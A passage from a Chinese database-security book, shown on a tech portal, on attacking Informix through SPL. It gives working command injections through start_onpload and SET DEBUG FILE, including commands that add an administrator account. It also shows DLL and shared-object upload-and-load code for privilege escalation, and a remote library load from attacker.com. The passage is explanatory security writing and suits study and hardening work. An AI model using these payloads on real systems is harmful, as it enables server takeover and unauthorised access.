首页 新闻 论坛 群组 Blog 文档 下载 读书 Tag 网摘 搜索 开源 FAQ 第二书店 博文视点 程序员
频道: 研发 数据库 中间件 信息化 视频 .NET Java 游戏 移动 服务: 人才 外包 培训
    图书品种:235680
       
热门搜索: ASP.NET Ajax Spring Hibernate Java

11.2  用SPL攻击Informix

Informix支持过程和函数,又称其为例程,记作SPL(Stored Procedural Language,存储过程语言)。可以用C语言库或者Java来扩展过程,在安全方面有助于Informix支持授予用户关于语言的usage权限的思想:

grant usage on language c to david

该语句将向表syslangauth存入一行信息以授权账户david使用C语言。即使默认地public有SPL语言的usage权限,用户也必须拥有resource或者dba权限才能创建例程。

11.2.1  通过SPL运行任意命令

对于SPL,令人比较担心的一个方面就是内置的SYSTEM函数。正如您可能猜测的一样,它把操作系统命令当作参数并执行:

CREATE PROCEDURE mycmd()

DEFINE CMD CHAR(255);

LET CMD = 'dir > c:\res.txt';

SYSTEM CMD;

END PROCEDURE;

赋予用户运行操作系统命令的能力是令人恐惧的—— 尤其是因为像这样的功能会被攻击者用来获取对服务器的全面控制。如果对Informix有一点了解,您也许已经在质疑这个说法了—— 命令是以登录用户的特权运行而不是Informix的用户特权—— 因此哪里会造成伤害呢?能够以低特权运行OS命令距离完全控制仅一步之遥—— 事实上,可以用一个简短的示例来证明这一点。至少那些仅有connect权限的用户不可以使用该系统调用。或许他们可以呢?他们真的刻意—— 否则我就不会提出这个问题了。几个默认存储过程调用了系统。下面是start_onpload过程。Public有该过程的执行权限:

create procedure informix.start_onpload(args char(200)) returning int;

define command char(255); -- build command string here

define rtnsql int;       -- place holder for exception sqlcode setting

define rtnisam int;     -- isam error code. Should be onpload exit

status

{If $INFORMIXDIR/bin/onpload not found try /usr/informix/bin/onpload}

{ or NT style}

on exception in (-668) set rtnsql, rtnisam

if rtnisam = -2 then

{ If onpload.exe not found by default UNIX style-environment}

let command = 'cmd /c %INFORMIXDIR%\bin\onpload ' || args;

system (command);

return 0;

end if

if rtnisam = -1 then

let command = '/usr/informix/bin/onpload ' || args;

system (command);

return 0;

end if

return rtnisam;

end exception

let command = '$INFORMIXDIR/bin/onpload ' || args;

system (command);

return 0;

end procedure;

正如您所看到的,用户提供的args在Windows上被连接到cmd/c %INFORMIXDIR% \bin\onpload,在Unix上被连接到/usr/Informix/bin/onpload。攻击者只要拥有connect权限就可以利用这一点来运行任意的OS命令。

在Windows上攻击者可能发出命令

execute procedure informix.start_onpload('foobar && dir > c:\foo.txt')

而在Unix上他们可能发出命令

execute procedure informix.start_onpload('foobar ;/bin/ls >

/tmp/foo.txt')

将要发生的是shell元字符(metacharacter)不会被剥离,因此当传递到shell时,就会解释这些元字符。Windows上的“&&”告诉cmd.exe去运行第二个命令,Unix上的“;”告诉/bin/sh去执行第二个命令。informix.dbexp和informix.dbimp过程二者同样易受攻击。注意,任何注入的命令将以登录用户的权限运行而不是Informix的用户权限。下面介绍一个方法,使用该方法能使低特权用户利用这一点来彻底控制服务器。以Windows为例,同样的技巧亦适用于Unix服务器。攻击包括通过SQL复制DLL到服务器,然后使服务器加载该DLL。当加载了DLL后攻击者就可以执行代码了。

首先,攻击者在自己的机器上创建并编译DLL:

#include <stdio.h>

#include <windows.h>

int _declspec (dllexport) MyFunctionA(char *ptr)

{

return 0;

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason,LPVOID

lpReserved ) {

system("c:\\whoami > c:\\infx.txt");

return TRUE;

}

"C:\>cl /LD dll.c

正如您所看到的,该DLL通过DllMain函数调用了system()。当把DLL加载到进程内时,DllMain函数(通常)会被执行。一旦编译了代码,攻击者就连接到数据库服务器并创建一个临时表:

CREATE temp TABLE dlltable (name varchar(20), dll clob)

完成后,他上传自己的DLL:

INSERT INTO dlltable (name,dll) VALUES ('mydll', FILETOCLOB('c:\dll.dll',

'client'))

 (函数FILETOCLOB可用于从客户机和服务器读取文件。以后将对此作详细介绍。此外,该函数也容易受到基于堆栈的缓冲区溢出攻击。默认地,Public可以执行该函数。)

通过执行这个INSERT,把该DLL从客户机传输到服务器,并将其保存到攻击者刚才创建的临时表内。接下来,攻击者将其写入磁盘:

SELECT name,LOTOFILE(dll,'C:\g.dll','server') from dlltable where name='mydll'

(函数LOTOFILE可用来在服务器上文件。)以后详述。此外,和FILETOCLOB一样,它也容易遭受基于堆栈的缓冲区溢出攻击。默认地,Public可以执行该函数。)

当执行SELECT时,Informix创建一个名为C:\g.dll.0000000041dc4e74(或类似的)    文件。

现在,攻击者需要更改DLL的属性。如果该文件属性不是Read Only,试图加载文件时会失败。使用下述命令,攻击者可以实现文件加载:

execute procedure informix.start_onpload('AAAA & attrib +R

C:\g.dll.0000000041dc4e74')

此处,攻击者利用了start_onpload过程内的命令注入漏洞。注意当调用系统函数时,cmd.exe将以登录用户运行—— 而不是Informix用户。最后,为了获取Informix用户的特权,该用户在Windows上是本地管理员,攻击者执行命令

execute procedure informix.ifx_replace_module('nosuch.dll','C;\

g.dll.0000000041dc4e74','c','')

ifx_replace_module用于替换通过SPL调用方式加载的共享对象。执行上述命令时,Informix将加载DLL,并且在DLL加载时,将执行DllMain()函数,而且是以Informix用户特权执行的。通过在DllMain函数内放置恶意代码,攻击者可以像Informix用户一样运行代码,因而获得了对数据库服务器的控制。

在Linux上,不能对Informix做同样的事情。如果创建一个共享对象并导出_init函数,通过oninit加载对象时执行该函数。

// mylib.c

// gcc -fPIC -c mylib.c

// gcc -shared -nostartfiles -o libmylib.so mylib.o

#include <stdio.h>

void _init(void)

{

system)"whoami > /tmp/whoami.txt") ;

return;

}

如果编译上述代码并存入/tmp目录,通过下述命令加载它:

execute procedure

Informix, ifx_replace_module ('foobar', '/tmp/libmylib.so', 'c', ' ')

whoami命令返回的信息显示用户是Informix用户。

这个特权升级攻击是利用了多个安全漏洞才成功的。显然,能够在服务器上写文件并运行操作系统命令是危险的;但是能够强制Informix加载任意库文件则更加危险。

在结束本节对运行操作系统命令的讨论之前,再介绍几个问题。在Windows和Linux上,SET DEBUG FILE SQL命令引发了Informix服务器进程调用system()函数。Windows上由Informix执行的这一命令是cmd /c type nul > C:\Informix\sqexpln\user-supplied-filename。

通过将debug文件名称设置为foo&command,攻击者可以运行任意命令—— 例如:

SET DEBUG FILE TO 'foo&dir > c:\sqlout.txt'

这个命令非常有趣,在本例中,不是以登录用户特权运行,而是Informix用户特权。由于该Informix用户是本地管理员,攻击者可以执行

SET DEBUG FILE TO 'foo&net user hack password!! /add'

SET DEBUG FILE TO 'foo&net localgroup administrators hack /add'

SET DEBUG FILE TO 'foo&net localgroup Informix-Admin hack /add'

并为自己创建一个高特权账户。

在Linux上稍微有点不同。执行的命令是

/bin/sh -c umask 0; echo > '/user-supplied-filename'

注意使用单引号。要做好准备,嵌入任意命令,然后再将其关闭。通过运行

SET DEBUG FILE TO "/tmp/a';/bin/ls>/tmp/zzzz;echo 'hello"

Informix结束执行

/bin/sh -c umask 0;echo > '/tmp/a';/bin/ls>/tmp/zzzz;echo 'hello'

注意,在Windows上是以Informix用户运行命令,但在Linux上不是这样,而是以登录用户的特权来执行命令。

在研究SET DEBUG FILE时我本该注意到,它也容易遭受基于堆栈的缓冲区溢出攻击。

11.2.2  加载任意库

Informix支持大量的函数,这使得可以实时(on the fly)替换例程库。利用这种方式,如果开发者想改变函数代码,他可以重新编译库文件然后替换掉文件,而无需关闭服务器。在使用ifx_replace_module的动作中可以看到这一点。还有一些类似的函数,例如reload_module和ifx_load_internal。这些函数可以被低特权用户滥用于强制Informix加载任意的库并像Informix用户一样执行代码。

对于运行在Windows上的Informix,应该考虑的一个方面是UNC路径。

execute function informix.ifx_load_internal ('\\attacker.com\bin\

ifxdll.dll','c')

这将强制Informix服务器通过SMB连接到attacker.com并连接bin内的共享对象。因为oninit进程正以Informix用户身份运行,当连接共享对象时,是用其证书来连接的。因此,需要将attacker.com配置为允许任何用户ID和口令用于身份验证。一旦建立了连接,Informix服务器将下载ifxdll.dll并将其加载到它的地址空间,然后执行DllMain()函数。

确保已经删除了public对这些例程的执行权限是非常重要的;public被默认授予了这些权限。

11.2.3  读、写服务器上的任意文件

刚才介绍了两个函数:LOTOFILE和FILETOCLOB。这两个函数可以用来读、写服务器上的文件。

查看所有评论(0)条】

最近评论



正在载入评论列表...
热点评论